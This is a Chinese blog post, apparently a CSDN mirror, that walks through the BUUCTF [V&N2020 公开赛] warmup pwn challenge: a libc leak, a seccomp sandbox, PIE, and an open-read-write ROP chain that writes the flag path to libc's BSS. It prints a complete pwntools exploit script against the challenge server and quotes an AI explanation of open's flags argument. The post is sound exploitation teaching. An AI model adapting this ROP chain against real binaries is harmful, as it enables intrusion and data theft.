码农知识堂 - 1000bd
  •   Python
  •   PHP
  •   JS/TS
  •   JAVA
  •   C/C++
  •   C#
  •   GO
  •   Kotlin
  •   Swift
  • BUUCTF--[V&N2020 公开赛]warmup


    一开始直接告诉你libc基址。

    有沙盒,分析了一下,write的count不等于0x10就可以,0x30什么的都可以。

     

    嗯,还开了PIE。

    很明显了,orw。 问题是开了PIE,b'flag\x00'不能写在BSS上了,同时也不能重复执行main。

    怎么办呢,细心的小伙伴会发现我们知道libc的基址,那可以写在libc的bss上面啊。

    这是第一段写入,不能溢出。

     

    这是第二段,如果你用gdb调试一下或看看汇编就可以发现,如果这个0x80写满会和上面的0x180连起来。那就很简单了,从libc里面找gadget就好了。

    以下是exp:

    1. from pwn import *
    2. context.arch='amd64'
    3. #io=process('./pwn')
    4. io=remote('node5.buuoj.cn',25603)
    5. libc=ELF('./libc-2.23.so')
    6. io.recvuntil(b'Here is my gift: ')
    7. libc_base=int(io.recv(14),16)-libc.sym['puts']
    8. print('libc_base:',hex(libc_base))
    9. libc.address=libc_base
    10. ope=libc.sym['open']
    11. read=libc.sym['read']
    12. puts=libc.sym['puts']
    13. write=libc.sym['write']
    14. rdi=libc_base+0x21102
    15. rsi=libc_base+0x202e8
    16. rdx=libc_base+0x1b92
    17. push_rsi=libc_base+0x34bcf
    18. bss=libc.bss()
    19. print('bss',hex(bss))
    20. io.recvuntil(b'Input something: ')
    21. payload=p64(0)+p64(rsi)+p64(bss)+p64(rdx)+p64(0x30)
    22. payload+=p64(read)+p64(rdi)+p64(bss)+p64(rsi)+p64(0)+p64(ope)
    23. payload+=p64(rdi)+p64(3)+p64(rsi)+p64(bss)+p64(rdx)+p64(0x30)+p64(read)
    24. payload+=p64(rdi)+p64(1)+p64(rsi)+p64(bss)+p64(rdx)+p64(0x30)+p64(write)
    25. io.send(payload)
    26. io.recvuntil(b"What's your name?")
    27. payload=b'a'*0x78+p64(rdi)
    28. io.send(payload)
    29. sleep(0.1)
    30. io.send(b'flag\x00')
    31. io.interactive()

    这里注意一点,open的第二个参数一定要特意写一下。

    以下是通义千问的解释:
     

    在不指定rsi的情况,open会直接将rsi里面的值作为flag值,而rsi里面有时候存着地址,是一个极大值,可能会引起一些意想不到的问题。例如这题中,执行rop的时候rsi存着的是buf的地址,是一个极大值,一开始我没有pop rsi为0,导致执行了好几遍都没法orw成功,加上了pop rsi 0才成功读出flag。 

     

     

  • 相关阅读:
    Python实现基于移动网络通讯行为的风险用户识别
    软信天成:物料主数据的标准管理
    JSP使用
    七夕节表白3d相册制作
    Java基础之数组、堆栈、变量、重载、权限修饰符、JavaBean、string、stringbuilder、ArrayList、泛型、单例设计模式
    无线传感器网络基于MCKP-MMF算法的流量估计matlab仿真
    【Leetcode】210.课程表II
    ESP32网络开发实例-非接触式水位监测
    《Mycat分布式数据库架构》之Mycat管理
    数据新增的常用方法(es6-es12)-今天一定要学会
  • 原文地址:https://blog.csdn.net/A13837377363/article/details/139332539
  • 最新文章
  • 【FHE】我们如何实现同态加密推理(八):SiLU 的密文化——两条路径,和一个 8 字节的开关
    SQLcl 中 c/old/new 替换变量为何失效?先定位再替换
    不让模型写作文,直接从它脑子里读答案:Jev 决策在 .NET 的两条路线
    Halo插件:支持GitHub的图床附件策略
    电视投屏界的“一股清流”!SimpleTVCast 6.0.0-beta 抢先体验:无需TV端App,界面大换血!✨
    华三VXLAN集中式网关实战指南:Spine多活网关 + 双活接入(M-LAG)
    软件更好写之后口碑会更重要
    大 O、大 Omega、大 Theta 的区别,O(n) 复杂度是什么意思
    Java标签跳转:一个鲜为人知但却很实用的小技巧
    多智能体系统论文速读
  • 热门文章
  • 十款代码表白小特效 一个比一个浪漫 赶紧收藏起来吧!!!
    奉劝各位学弟学妹们,该打造你的技术影响力了!
    五年了,我在 CSDN 的两个一百万。
    Java俄罗斯方块,老程序员花了一个周末,连接中学年代!
    面试官都震惊,你这网络基础可以啊!
    你真的会用百度吗?我不信 — 那些不为人知的搜索引擎语法
    心情不好的时候,用 Python 画棵樱花树送给自己吧
    通宵一晚做出来的一款类似CS的第一人称射击游戏Demo!原来做游戏也不是很难,连憨憨学妹都学会了!
    13 万字 C 语言从入门到精通保姆级教程2021 年版
    10行代码集2000张美女图,Python爬虫120例,再上征途
小工具 小游戏
Copyright © 2022 侵权请联系2656653265@qq.com    京ICP备2022015340号-1

京公网安备 11010502049817号